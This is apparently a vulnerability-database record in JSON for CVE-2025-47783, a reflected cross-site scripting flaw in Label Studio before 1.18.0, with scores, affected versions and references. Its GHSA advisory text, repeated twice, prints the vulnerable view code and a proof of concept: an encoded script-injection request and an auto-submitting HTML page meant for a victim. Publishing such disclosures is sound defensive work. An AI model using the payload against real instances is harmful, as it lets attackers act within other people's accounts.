{"id":"CVE-2025-47783","aliases":["EUVD-2025-14944","GHSA-8jhr-wpcm-hh4h","PYSEC-2025-124"],"status":"published","title":"label-studio vulnerable to Cross-Site Scripting (Reflected) via the label_config parameter.","description":"Label Studio is a multi-type data labeling and annotation tool. A vulnerability in versions prior to 1.18.0 allows an attacker to inject a malicious script into the context of a web page, which can lead to data theft, session hijacking, unauthorized actions on behalf of the user, and other attacks. The vulnerability is reproducible when sending a properly formatted request to the `POST /projects/upload-example/` endpoint. In the source code, the vulnerability is located at `label_studio/projects/views.py`. Version 1.18.0 contains a patch for the issue.","severity":{"version":"4.0","score":7.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00596,"percentile":0.48846,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-79"],"published":"2025-05-14T23:01:17Z","modified":"2026-10-28T02:30:45Z","exploits":[{"source":"nuclei","id":"CVE-2025-47783","title":"Label Studio \u003c 1.18.0 - Reflected XSS","type":"detection template","url":"https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2025/CVE-2025-47783.yaml"}],"fixes":[{"ecosystem":"PyPI","package":"label-studio","fixed_in":["1.18.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"label-studio","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.18.0"}]}]},{"source":"osv","ecosystem":"PyPI","package":"label-studio","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.18.0"}]}],"versions":["0.4.1","0.4.2","0.4.3","0.4.4","0.4.4.post1","0.4.4.post2","0.4.5","0.4.6","0.4.6.post1","0.4.6.post2","0.4.7","0.4.8","0.5.0","0.5.1","0.6.0","0.6.1","0.7.0","0.7.1","0.7.2","0.7.3","0.7.4","0.7.4.post0","0.7.4.post1","0.7.5.post1","0.7.5.post2","0.8.0","0.8.0.post0","0.8.1","0.8.1.post0","0.8.2","0.8.2.post0","0.9.0","0.9.0.post2","0.9.0.post3","0.9.0.post4","0.9.0.post5","0.9.1","0.9.1.post0","0.9.1.post1","0.9.1.post2","1.0.0","1.0.0.post0","1.0.0.post1","1.0.0.post2","1.0.0.post3","1.0.1","1.0.2","1.0.2.post0","1.1.0","1.1.0rc0","1.1.1","1.10.0","1.10.0.post0","1.10.1","1.11.0","1.12.0","1.12.0.post0","1.12.1","1.13.0","1.13.1","1.14.0","1.14.0.post0","1.15.0","1.16.0","1.17.0","1.2","1.3","1.3.post0","1.3.post1","1.4","1.4.1","1.4.1.post0","1.4.1.post1","1.5.0","1.5.0.post0","1.6.0","1.7.0","1.7.1","1.7.2","1.7.3","1.8.0","1.8.1","1.8.2","1.8.2.post0","1.8.2.post1","1.9.0","1.9.1","1.9.1.post0","1.9.2","1.9.2.post0"]},{"source":"osv","ecosystem":"PyPI","package":"label-studio","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.18.0"}]}],"versions":["0.4.1","0.4.2","0.4.3","0.4.4","0.4.4.post1","0.4.4.post2","0.4.5","0.4.6","0.4.6.post1","0.4.6.post2","0.4.7","0.4.8","0.5.0","0.5.1","0.6.0","0.6.1","0.7.0","0.7.1","0.7.2","0.7.3","0.7.4","0.7.4.post0","0.7.4.post1","0.7.5.post1","0.7.5.post2","0.8.0","0.8.0.post0","0.8.1","0.8.1.post0","0.8.2","0.8.2.post0","0.9.0","0.9.0.post2","0.9.0.post3","0.9.0.post4","0.9.0.post5","0.9.1","0.9.1.post0","0.9.1.post1","0.9.1.post2","1.0.0","1.0.0.post0","1.0.0.post1","1.0.0.post2","1.0.0.post3","1.0.1","1.0.2","1.0.2.post0","1.1.0","1.1.0rc0","1.1.1","1.10.0","1.10.0.post0","1.10.1","1.11.0","1.12.0","1.12.0.post0","1.12.1","1.13.0","1.13.1","1.14.0","1.14.0.post0","1.15.0","1.16.0","1.17.0","1.2","1.3","1.3.post0","1.3.post1","1.4","1.4.1","1.4.1.post0","1.4.1.post1","1.5.0","1.5.0.post0","1.6.0","1.7.0","1.7.1","1.7.2","1.7.3","1.8.0","1.8.1","1.8.2","1.8.2.post0","1.8.2.post1","1.9.0","1.9.1","1.9.1.post0","1.9.2","1.9.2.post0"]}],"products":[{"vendor":"humansignal","product":"label-studio"},{"vendor":"humansignal","product":"label_studio"}],"references":[{"url":"https://github.com/HumanSignal/label-studio/security/advisories/GHSA-8jhr-wpcm-hh4h","tags":["x_refsource_CONFIRM","Exploit","Vendor Advisory","advisory","web","evidence"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-47783","tags":["advisory"]},{"url":"https://github.com/HumanSignal/label-studio/commit/97db9e7b16783e1f6052eb432a6f014f80ef268d","tags":["web"]},{"url":"https://github.com/pypa/advisory-database/tree/main/vulns/label-studio/PYSEC-2025-124.yaml","tags":["web"]},{"url":"https://github.com/advisories/GHSA-8jhr-wpcm-hh4h"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/47xxx/CVE-2025-47783.json","tags":["advisory"]},{"url":"https://github.com/HumanSignal/label-studio","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2025-47783","title":"label-studio vulnerable to Cross-Site Scripting (Reflected) via the label_config parameter.","description":"Label Studio is a multi-type data labeling and annotation tool. A vulnerability in versions prior to 1.18.0 allows an attacker to inject a malicious script into the context of a web page, which can lead to data theft, session hijacking, unauthorized actions on behalf of the user, and other attacks. The vulnerability is reproducible when sending a properly formatted request to the `POST /projects/upload-example/` endpoint. In the source code, the vulnerability is located at `label_studio/projects/views.py`. Version 1.18.0 contains a patch for the issue.","status":"published","published":"2025-05-14T23:01:17.213Z","modified":"2025-05-15T15:32:26.174Z","cvss":[{"version":"4.0","score":7.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N","level":"high","assessor":"cna"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:32:25.982948Z"}],"euvd":[{"id":"EUVD-2025-14944","description":"Label Studio is a multi-type data labeling and annotation tool. A vulnerability in versions prior to 1.18.0 allows an attacker to inject a malicious script into the context of a web page, which can lead to data theft, session hijacking, unauthorized actions on behalf of the user, and other attacks. The vulnerability is reproducible when sending a properly formatted request to the `POST /projects/upload-example/` endpoint. In the source code, the vulnerability is located at `label_studio/projects/views.py`. Version 1.18.0 contains a patch for the issue.","status":"published","published":"2025-05-14T23:01:17Z","modified":"2025-05-15T15:32:26Z","cvss":[{"version":"4.0","score":7.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N","level":"high"}],"updated_at":"2026-11-02T20:32:46.52057Z"}],"ghsa":[{"id":"GHSA-8jhr-wpcm-hh4h","title":"label-studio vulnerable to Cross-Site Scripting (Reflected) via the label_config parameter.","description":"### Summary\nThe vulnerability allows an attacker to inject a malicious script into the context of a web page, which can lead to data theft, unauthorized actions on behalf of the user, and other attacks.\n\n### Details\nThe vulnerability is reproducible when sending a properly formatted request to the `POST /projects/upload-example/` endpoint. In the source code, the vulnerability is located at `label_studio/projects/views.py`.\n```python\n39: @require_http_methods(['POST'])\n40: def upload_example_using_config(request):\n41:     \"\"\"Generate upload data example by config only\"\"\"\n42:     config = request.POST.get('label_config', '')\n43: \n44:     org_pk = get_organization_from_request(request)\n45:     secure_mode = False\n46:     if org_pk is not None:\n47:         org = generics.get_object_or_404(Organization, pk=org_pk)\n48:         secure_mode = org.secure_mode\n49: \n50:     try:\n51:         Project.validate_label_config(config)\n52:         task_data, _, _ = get_sample_task(config, secure_mode)\n53:         task_data = playground_replacements(request, task_data)\n54:     except (ValueError, ValidationError, lxml.etree.Error):\n55:         response = HttpResponse('error while example generating', status=status.HTTP_400_BAD_REQUEST)\n56:     else:\n57:         response = HttpResponse(json.dumps(task_data))\n58:     return response\n```\nThe vulnerability is specifically located in line 57, where HttpResponse is used.\n```python\n57:         response = HttpResponse(json.dumps(task_data))\n```\n### PoC\nSend the following request after changing the `{host}` to your own.\n```css\nPOST /projects/upload-example/ HTTP/1.1\nHost: {host}\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 67\n\nlabel_config=%3cView%3e%3cText%20name%3d%22text%22%20value%3d%22$textjmwwi%26lt%3bscript%26gt%3balert(1)%26lt%3b%2fscript%26gt%3bs8m37%22%2f%3e%3c%2fView%3e\n```\nOr you can create a vulnerable HTML page by changing `{domain}` beforehand, which can later be sent to the victim.\n```html\n\u003chtml\u003e\n  \u003cbody\u003e\n    \u003cform action=\"http://{domain}/projects/upload-example/\" method=\"POST\"\u003e\n      \u003cinput type=\"hidden\" name=\"label\u0026#95;config\" value=\"\u0026lt;View\u0026gt;\u0026lt;Text\u0026#32;name\u0026#61;\u0026quot;text\u0026quot;\u0026#32;value\u0026#61;\u0026quot;\u0026#36;textjmwwi\u0026amp;lt\u0026#59;script\u0026amp;gt\u0026#59;alert\u0026#40;1\u0026#41;\u0026amp;lt\u0026#59;\u0026#47;script\u0026amp;gt\u0026#59;s8m37\u0026quot;\u0026#47;\u0026gt;\u0026lt;\u0026#47;View\u0026gt;\" /\u003e\n      \u003cinput type=\"submit\" value=\"Submit request\" /\u003e\n    \u003c/form\u003e\n    \u003cscript\u003e\n      history.pushState('', '', '/');\n      document.forms[0].submit();\n    \u003c/script\u003e\n  \u003c/body\u003e\n\u003c/html\u003e\n```\n### Impact\n- Malicious code execution: The user may be forced to perform unwanted actions within their Label Studio account. This includes accessing `document.cookie`, but note that Label Studio session cookies are marked http-only, mitigating any possibility of session theft.","status":"published","published":"2025-05-15T16:21:16Z","modified":"2026-06-06T00:31:25Z","cvss":[{"version":"4.0","score":7.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N","level":"high"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:40:18.682012Z"}],"nvd":[{"id":"CVE-2025-47783","description":"Label Studio is a multi-type data labeling and annotation tool. A vulnerability in versions prior to 1.18.0 allows an attacker to inject a malicious script into the context of a web page, which can lead to data theft, session hijacking, unauthorized actions on behalf of the user, and other attacks. The vulnerability is reproducible when sending a properly formatted request to the `POST /projects/upload-example/` endpoint. In the source code, the vulnerability is located at `label_studio/projects/views.py`. Version 1.18.0 contains a patch for the issue.","status":"published","published":"2025-05-14T23:15:48.213Z","modified":"2026-06-17T09:28:41.07Z","cvss":[{"version":"4.0","score":7.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"},{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"primary"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:11:08.321805Z"}],"osv":[{"id":"CVE-2025-47783","title":"label-studio vulnerable to Cross-Site Scripting (Reflected) via the label_config parameter.","description":"Label Studio is a multi-type data labeling and annotation tool. A vulnerability in versions prior to 1.18.0 allows an attacker to inject a malicious script into the context of a web page, which can lead to data theft, session hijacking, unauthorized actions on behalf of the user, and other attacks. The vulnerability is reproducible when sending a properly formatted request to the `POST /projects/upload-example/` endpoint. In the source code, the vulnerability is located at `label_studio/projects/views.py`. Version 1.18.0 contains a patch for the issue.","status":"published","published":"2025-05-14T23:01:17.213Z","modified":"2026-10-28T02:30:45.824417993Z","cvss":[{"version":"4.0","score":7.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N","level":"high"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:44:49.707645Z"},{"id":"GHSA-8jhr-wpcm-hh4h","title":"label-studio vulnerable to Cross-Site Scripting (Reflected) via the label_config parameter.","description":"### Summary\nThe vulnerability allows an attacker to inject a malicious script into the context of a web page, which can lead to data theft, unauthorized actions on behalf of the user, and other attacks.\n\n### Details\nThe vulnerability is reproducible when sending a properly formatted request to the `POST /projects/upload-example/` endpoint. In the source code, the vulnerability is located at `label_studio/projects/views.py`.\n```python\n39: @require_http_methods(['POST'])\n40: def upload_example_using_config(request):\n41:     \"\"\"Generate upload data example by config only\"\"\"\n42:     config = request.POST.get('label_config', '')\n43: \n44:     org_pk = get_organization_from_request(request)\n45:     secure_mode = False\n46:     if org_pk is not None:\n47:         org = generics.get_object_or_404(Organization, pk=org_pk)\n48:         secure_mode = org.secure_mode\n49: \n50:     try:\n51:         Project.validate_label_config(config)\n52:         task_data, _, _ = get_sample_task(config, secure_mode)\n53:         task_data = playground_replacements(request, task_data)\n54:     except (ValueError, ValidationError, lxml.etree.Error):\n55:         response = HttpResponse('error while example generating', status=status.HTTP_400_BAD_REQUEST)\n56:     else:\n57:         response = HttpResponse(json.dumps(task_data))\n58:     return response\n```\nThe vulnerability is specifically located in line 57, where HttpResponse is used.\n```python\n57:         response = HttpResponse(json.dumps(task_data))\n```\n### PoC\nSend the following request after changing the `{host}` to your own.\n```css\nPOST /projects/upload-example/ HTTP/1.1\nHost: {host}\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 67\n\nlabel_config=%3cView%3e%3cText%20name%3d%22text%22%20value%3d%22$textjmwwi%26lt%3bscript%26gt%3balert(1)%26lt%3b%2fscript%26gt%3bs8m37%22%2f%3e%3c%2fView%3e\n```\nOr you can create a vulnerable HTML page by changing `{domain}` beforehand, which can later be sent to the victim.\n```html\n\u003chtml\u003e\n  \u003cbody\u003e\n    \u003cform action=\"http://{domain}/projects/upload-example/\" method=\"POST\"\u003e\n      \u003cinput type=\"hidden\" name=\"label\u0026#95;config\" value=\"\u0026lt;View\u0026gt;\u0026lt;Text\u0026#32;name\u0026#61;\u0026quot;text\u0026quot;\u0026#32;value\u0026#61;\u0026quot;\u0026#36;textjmwwi\u0026amp;lt\u0026#59;script\u0026amp;gt\u0026#59;alert\u0026#40;1\u0026#41;\u0026amp;lt\u0026#59;\u0026#47;script\u0026amp;gt\u0026#59;s8m37\u0026quot;\u0026#47;\u0026gt;\u0026lt;\u0026#47;View\u0026gt;\" /\u003e\n      \u003cinput type=\"submit\" value=\"Submit request\" /\u003e\n    \u003c/form\u003e\n    \u003cscript\u003e\n      history.pushState('', '', '/');\n      document.forms[0].submit();\n    \u003c/script\u003e\n  \u003c/body\u003e\n\u003c/html\u003e\n```\n### Impact\n- Malicious code execution: The user may be forced to perform unwanted actions within their Label Studio account. This includes accessing `document.cookie`, but note that Label Studio session cookies are marked http-only, mitigating any possibility of session theft.","status":"published","published":"2025-05-15T16:21:16Z","modified":"2026-06-06T00:45:42.688412874Z","cvss":[{"version":"4.0","score":7.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N","level":"high"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:46:42.437513Z"},{"id":"PYSEC-2025-124","description":"Label Studio is a multi-type data labeling and annotation tool. A vulnerability in versions prior to 1.18.0 allows an attacker to inject a malicious script into the context of a web page, which can lead to data theft, session hijacking, unauthorized actions on behalf of the user, and other attacks. The vulnerability is reproducible when sending a properly formatted request to the `POST /projects/upload-example/` endpoint. In the source code, the vulnerability is located at `label_studio/projects/views.py`. Version 1.18.0 contains a patch for the issue.","status":"published","published":"2025-05-14T23:15:48.213Z","modified":"2026-05-20T09:19:03.900919Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T15:52:54.242332Z"}]}}